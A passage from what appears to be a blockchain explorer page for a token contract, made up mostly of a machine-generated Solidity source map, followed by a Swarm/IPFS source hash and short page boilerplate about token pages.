:-;11987:7;12018:1;12003:284;12028:6;12025:1;12022:13;12003:284;;;12104:6;12098:13;12131:63;12190:3;12175:13;12131:63;:::i;:::-;12124:70;;12217:60;12270:6;12217:60;:::i;:::-;12207:70;;12063:224;12050:1;12047;12043:9;12038:14;;12003:284;;;12007:14;12303:3;12296:10;;11704:608;;;11580:732;;;;:::o;12318:831::-;12581:4;12619:3;12608:9;12604:19;12596:27;;12633:71;12701:1;12690:9;12686:17;12677:6;12633:71;:::i;:::-;12714:80;12790:2;12779:9;12775:18;12766:6;12714:80;:::i;:::-;12841:9;12835:4;12831:20;12826:2;12815:9;12811:18;12804:48;12869:108;12972:4;12963:6;12869:108;:::i;:::-;12861:116;;12987:72;13055:2;13044:9;13040:18;13031:6;12987:72;:::i;:::-;13069:73;13137:3;13126:9;13122:19;13113:6;13069:73;:::i;:::-;12318:831;;;;;;;;:::o;13155:117::-;13264:1;13261;13254:12;13278:281;13361:27;13383:4;13361:27;:::i;:::-;13353:6;13349:40;13491:6;13479:10;13476:22;13455:18;13443:10;13440:34;13437:62;13434:88;;;13502:18;;:::i;:::-;13434:88;13542:10;13538:2;13531:22;13321:238;13278:281;;:::o;13565:129::-;13599:6;13626:20;;:::i;:::-;13616:30;;13655:33;13683:4;13675:6;13655:33;:::i;:::-;13565:129;;;:::o;13700:311::-;13777:4;13867:18;13859:6;13856:30;13853:56;;;13889:18;;:::i;:::-;13853:56;13939:4;13931:6;13927:17;13919:25;;13999:4;13993;13989:15;13981:23;;13700:311;;;:::o;14017:117::-;14126:1;14123;14116:12;14140:143;14197:5;14228:6;14222:13;14213:22;;14244:33;14271:5;14244:33;:::i;:::-;14140:143;;;;:::o;14306:732::-;14413:5;14438:81;14454:64;14511:6;14454:64;:::i;:::-;14438:81;:::i;:::-;14429:90;;14539:5;14568:6;14561:5;14554:21;14602:4;14595:5;14591:16;14584:23;;14655:4;14647:6;14643:17;14635:6;14631:30;14684:3;14676:6;14673:15;14670:122;;;14703:79;;:::i;:::-;14670:122;14818:6;14801:231;14835:6;14830:3;14827:15;14801:231;;;14910:3;14939:48;14983:3;14971:10;14939:48;:::i;:::-;14934:3;14927:61;15017:4;15012:3;15008:14;15001:21;;14877:155;14861:4;14856:3;14852:14;14845:21;;14801:231;;;14805:21;14419:619;;14306:732;;;;;:::o;15061:385::-;15143:5;15192:3;15185:4;15177:6;15173:17;15169:27;15159:122;;15200:79;;:::i;:::-;15159:122;15310:6;15304:13;15335:105;15436:3;15428:6;15421:4;15413:6;15409:17;15335:105;:::i;:::-;15326:114;;15149:297;15061:385;;;;:::o;15452:554::-;15547:6;15596:2;15584:9;15575:7;15571:23;15567:32;15564:119;;;15602:79;;:::i;:::-;15564:119;15743:1;15732:9;15728:17;15722:24;15773:18;15765:6;15762:30;15759:117;;;15795:79;;:::i;:::-;15759:117;15900:89;15981:7;15972:6;15961:9;15957:22;15900:89;:::i;:::-;15890:99;;15693:306;15452:554;;;;:::o;16012:807::-;16261:4;16299:3;16288:9;16284:19;16276:27;;16313:71;16381:1;16370:9;16366:17;16357:6;16313:71;:::i;:::-;16394:72;16462:2;16451:9;16447:18;16438:6;16394:72;:::i;:::-;16476:80;16552:2;16541:9;16537:18;16528:6;16476:80;:::i;:::-;16566;16642:2;16631:9;16627:18;16618:6;16566:80;:::i;:::-;16656:73;16724:3;16713:9;16709:19;16700:6;16656:73;:::i;:::-;16739;16807:3;16796:9;16792:19;16783:6;16739:73;:::i;:::-;16012:807;;;;;;;;;:::o;16825:663::-;16913:6;16921;16929;16978:2;16966:9;16957:7;16953:23;16949:32;16946:119;;;16984:79;;:::i;:::-;16946:119;17104:1;17129:64;17185:7;17176:6;17165:9;17161:22;17129:64;:::i;:::-;17119:74;;17075:128;17242:2;17268:64;17324:7;17315:6;17304:9;17300:22;17268:64;:::i;:::-;17258:74;;17213:129;17381:2;17407:64;17463:7;17454:6;17443:9;17439:22;17407:64;:::i;:::-;17397:74;;17352:129;16825:663;;;;;:::o;17494:179::-;17634:31;17630:1;17622:6;17618:14;17611:55;17494:179;:::o;17679:366::-;17821:3;17842:67;17906:2;17901:3;17842:67;:::i;:::-;17835:74;;17918:93;18007:3;17918:93;:::i;:::-;18036:2;18031:3;18027:12;18020:19;;17679:366;;;:::o;18051:419::-;18217:4;18255:2;18244:9;18240:18;18232:26;;18304:9;18298:4;18294:20;18290:1;18279:9;18275:17;18268:47;18332:131;18458:4;18332:131;:::i;:::-;18324:139;;18051:419;;;:::o;18476:114::-;18513:7;18553:30;18546:5;18542:42;18531:53;;18476:114;;;:::o;18596:122::-;18669:24;18687:5;18669:24;:::i;:::-;18662:5;18659:35;18649:63;;18708:1;18705;18698:12;18649:63;18596:122;:::o;18724:143::-;18781:5;18812:6;18806:13;18797:22;;18828:33;18855:5;18828:33;:::i;:::-;18724:143;;;;:::o;18873:93::-;18909:7;18949:10;18942:5;18938:22;18927:33;;18873:93;;;:::o;18972:120::-;19044:23;19061:5;19044:23;:::i;:::-;19037:5;19034:34;19024:62;;19082:1;19079;19072:12;19024:62;18972:120;:::o;19098:141::-;19154:5;19185:6;19179:13;19170:22;;19201:32;19227:5;19201:32;:::i;:::-;19098:141;;;;:::o;19245:661::-;19332:6;19340;19348;19397:2;19385:9;19376:7;19372:23;19368:32;19365:119;;;19403:79;;:::i;:::-;19365:119;19523:1;19548:64;19604:7;19595:6;19584:9;19580:22;19548:64;:::i;:::-;19538:74;;19494:128;19661:2;19687:64;19743:7;19734:6;19723:9;19719:22;19687:64;:::i;:::-;19677:74;;19632:129;19800:2;19826:63;19881:7;19872:6;19861:9;19857:22;19826:63;:::i;:::-;19816:73;;19771:128;19245:661;;;;;:::o;19912:222::-;20052:34;20048:1;20040:6;20036:14;20029:58;20121:5;20116:2;20108:6;20104:15;20097:30;19912:222;:::o;20140:366::-;20282:3;20303:67;20367:2;20362:3;20303:67;:::i;:::-;20296:74;;20379:93;20468:3;20379:93;:::i;:::-;20497:2;20492:3;20488:12;20481:19;;20140:366;;;:::o;20512:419::-;20678:4;20716:2;20705:9;20701:18;20693:26;;20765:9;20759:4;20755:20;20751:1;20740:9;20736:17;20729:47;20793:131;20919:4;20793:131;:::i;:::-;20785:139;;20512:419;;;:::o;20937:224::-;21077:34;21073:1;21065:6;21061:14;21054:58;21146:7;21141:2;21133:6;21129:15;21122:32;20937:224;:::o;21167:366::-;21309:3;21330:67;21394:2;21389:3;21330:67;:::i;:::-;21323:74;;21406:93;21495:3;21406:93;:::i;:::-;21524:2;21519:3;21515:12;21508:19;;21167:366;;;:::o;21539:419::-;21705:4;21743:2;21732:9;21728:18;21720:26;;21792:9;21786:4;21782:20;21778:1;21767:9;21763:17;21756:47;21820:131;21946:4;21820:131;:::i;:::-;21812:139;;21539:419;;;:::o;21964:332::-;22085:4;22123:2;22112:9;22108:18;22100:26;;22136:71;22204:1;22193:9;22189:17;22180:6;22136:71;:::i;:::-;22217:72;22285:2;22274:9;22270:18;22261:6;22217:72;:::i;:::-;21964:332;;;;;:::o;22302:225::-;22442:34;22438:1;22430:6;22426:14;22419:58;22511:8;22506:2;22498:6;22494:15;22487:33;22302:225;:::o;22533:366::-;22675:3;22696:67;22760:2;22755:3;22696:67;:::i;:::-;22689:74;;22772:93;22861:3;22772:93;:::i;:::-;22890:2;22885:3;22881:12;22874:19;;22533:366;;;:::o;22905:419::-;23071:4;23109:2;23098:9;23094:18;23086:26;;23158:9;23152:4;23148:20;23144:1;23133:9;23129:17;23122:47;23186:131;23312:4;23186:131;:::i;:::-;23178:139;;22905:419;;;:::o;23330:223::-;23470:34;23466:1;23458:6;23454:14;23447:58;23539:6;23534:2;23526:6;23522:15;23515:31;23330:223;:::o;23559:366::-;23701:3;23722:67;23786:2;23781:3;23722:67;:::i;:::-;23715:74;;23798:93;23887:3;23798:93;:::i;:::-;23916:2;23911:3;23907:12;23900:19;;23559:366;;;:::o;23931:419::-;24097:4;24135:2;24124:9;24120:18;24112:26;;24184:9;24178:4;24174:20;24170:1;24159:9;24155:17;24148:47;24212:131;24338:4;24212:131;:::i;:::-;24204:139;;23931:419;;;:::o;24356:221::-;24496:34;24492:1;24484:6;24480:14;24473:58;24565:4;24560:2;24552:6;24548:15;24541:29;24356:221;:::o;24583:366::-;24725:3;24746:67;24810:2;24805:3;24746:67;:::i;:::-;24739:74;;24822:93;24911:3;24822:93;:::i;:::-;24940:2;24935:3;24931:12;24924:19;;24583:366;;;:::o;24955:419::-;25121:4;25159:2;25148:9;25144:18;25136:26;;25208:9;25202:4;25198:20;25194:1;25183:9;25179:17;25172:47;25236:131;25362:4;25236:131;:::i;:::-;25228:139;;24955:419;;;:::o;25380:220::-;25520:34;25516:1;25508:6;25504:14;25497:58;25589:3;25584:2;25576:6;25572:15;25565:28;25380:220;:::o;25606:366::-;25748:3;25769:67;25833:2;25828:3;25769:67;:::i;:::-;25762:74;;25845:93;25934:3;25845:93;:::i;:::-;25963:2;25958:3;25954:12;25947:19;;25606:366;;;:::o;25978:419::-;26144:4;26182:2;26171:9;26167:18;26159:26;;26231:9;26225:4;26221:20;26217:1;26206:9;26202:17;26195:47;26259:131;26385:4;26259:131;:::i;:::-;26251:139;;25978:419;;;:::o;26403:179::-;26543:31;26539:1;26531:6;26527:14;26520:55;26403:179;:::o;26588:366::-;26730:3;26751:67;26815:2;26810:3;26751:67;:::i;:::-;26744:74;;26827:93;26916:3;26827:93;:::i;:::-;26945:2;26940:3;26936:12;26929:19;;26588:366;;;:::o;26960:419::-;27126:4;27164:2;27153:9;27149:18;27141:26;;27213:9;27207:4;27203:20;27199:1;27188:9;27184:17;27177:47;27241:131;27367:4;27241:131;:::i;:::-;27233:139;;26960:419;;;:::o;27385:224::-;27525:34;27521:1;27513:6;27509:14;27502:58;27594:7;27589:2;27581:6;27577:15;27570:32;27385:224;:::o;27615:366::-;27757:3;27778:67;27842:2;27837:3;27778:67;:::i;:::-;27771:74;;27854:93;27943:3;27854:93;:::i;:::-;27972:2;27967:3;27963:12;27956:19;;27615:366;;;:::o;27987:419::-;28153:4;28191:2;28180:9;28176:18;28168:26;;28240:9;28234:4;28230:20;28226:1;28215:9;28211:17;28204:47;28268:131;28394:4;28268:131;:::i;:::-;28260:139;;27987:419;;;:::o;28412:222::-;28552:34;28548:1;28540:6;28536:14;28529:58;28621:5;28616:2;28608:6;28604:15;28597:30;28412:222;:::o;28640:366::-;28782:3;28803:67;28867:2;28862:3;28803:67;:::i;:::-;28796:74;;28879:93;28968:3;28879:93;:::i;:::-;28997:2;28992:3;28988:12;28981:19;;28640:366;;;:::o;29012:419::-;29178:4;29216:2;29205:9;29201:18;29193:26;;29265:9;29259:4;29255:20;29251:1;29240:9;29236:17;29229:47;29293:131;29419:4;29293:131;:::i;:::-;29285:139;;29012:419;;;:::o;29437:225::-;29577:34;29573:1;29565:6;29561:14;29554:58;29646:8;29641:2;29633:6;29629:15;29622:33;29437:225;:::o;29668:366::-;29810:3;29831:67;29895:2;29890:3;29831:67;:::i;:::-;29824:74;;29907:93;29996:3;29907:93;:::i;:::-;30025:2;30020:3;30016:12;30009:19;;29668:366;;;:::o;30040:419::-;30206:4;30244:2;30233:9;30229:18;30221:26;;30293:9;30287:4;30283:20;30279:1;30268:9;30264:17;30257:47;30321:131;30447:4;30321:131;:::i;:::-;30313:139;;30040:419;;;:::o;30465:221::-;30605:34;30601:1;30593:6;30589:14;30582:58;30674:4;30669:2;30661:6;30657:15;30650:29;30465:221;:::o;30692:366::-;30834:3;30855:67;30919:2;30914:3;30855:67;:::i;:::-;30848:74;;30931:93;31020:3;30931:93;:::i;:::-;31049:2;31044:3;31040:12;31033:19;;30692:366;;;:::o;31064:419::-;31230:4;31268:2;31257:9;31253:18;31245:26;;31317:9;31311:4;31307:20;31303:1;31292:9;31288:17;31281:47;31345:131;31471:4;31345:131;:::i;:::-;31337:139;;31064:419;;;:::o;31489:182::-;31629:34;31625:1;31617:6;31613:14;31606:58;31489:182;:::o;31677:366::-;31819:3;31840:67;31904:2;31899:3;31840:67;:::i;:::-;31833:74;;31916:93;32005:3;31916:93;:::i;:::-;32034:2;32029:3;32025:12;32018:19;;31677:366;;;:::o;32049:419::-;32215:4;32253:2;32242:9;32238:18;32230:26;;32302:9;32296:4;32292:20;32288:1;32277:9;32273:17;32266:47;32330:131;32456:4;32330:131;:::i;:::-;32322:139;;32049:419;;;:::o;32474:229::-;32614:34;32610:1;32602:6;32598:14;32591:58;32683:12;32678:2;32670:6;32666:15;32659:37;32474:229;:::o;32709:366::-;32851:3;32872:67;32936:2;32931:3;32872:67;:::i;:::-;32865:74;;32948:93;33037:3;32948:93;:::i;:::-;33066:2;33061:3;33057:12;33050:19;;32709:366;;;:::o;33081:419::-;33247:4;33285:2;33274:9;33270:18;33262:26;;33334:9;33328:4;33324:20;33320:1;33309:9;33305:17;33298:47;33362:131;33488:4;33362:131;:::i;:::-;33354:139;;33081:419;;;:::o;33506:170::-;33646:22;33642:1;33634:6;33630:14;33623:46;33506:170;:::o;33682:366::-;33824:3;33845:67;33909:2;33904:3;33845:67;:::i;:::-;33838:74;;33921:93;34010:3;33921:93;:::i;:::-;34039:2;34034:3;34030:12;34023:19;;33682:366;;;:::o;34054:419::-;34220:4;34258:2;34247:9;34243:18;34235:26;;34307:9;34301:4;34297:20;34293:1;34282:9;34278:17;34271:47;34335:131;34461:4;34335:131;:::i;:::-;34327:139;;34054:419;;;:::o;34479:410::-;34519:7;34542:20;34560:1;34542:20;:::i;:::-;34537:25;;34576:20;34594:1;34576:20;:::i;:::-;34571:25;;34631:1;34628;34624:9;34653:30;34671:11;34653:30;:::i;:::-;34642:41;;34832:1;34823:7;34819:15;34816:1;34813:22;34793:1;34786:9;34766:83;34743:139;;34862:18;;:::i;:::-;34743:139;34527:362;34479:410;;;;:::o;34895:180::-;34943:77;34940:1;34933:88;35040:4;35037:1;35030:15;35064:4;35061:1;35054:15;35081:185;35121:1;35138:20;35156:1;35138:20;:::i;:::-;35133:25;;35172:20;35190:1;35172:20;:::i;:::-;35167:25;;35211:1;35201:35;;35216:18;;:::i;:::-;35201:35;35258:1;35255;35251:9;35246:14;;35081:185;;;;:::o

Swarm Source

ipfs://0c60f7e66a89263d861ecc8e03d5f081928919ebbc392cfa2affabd0b687eac5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.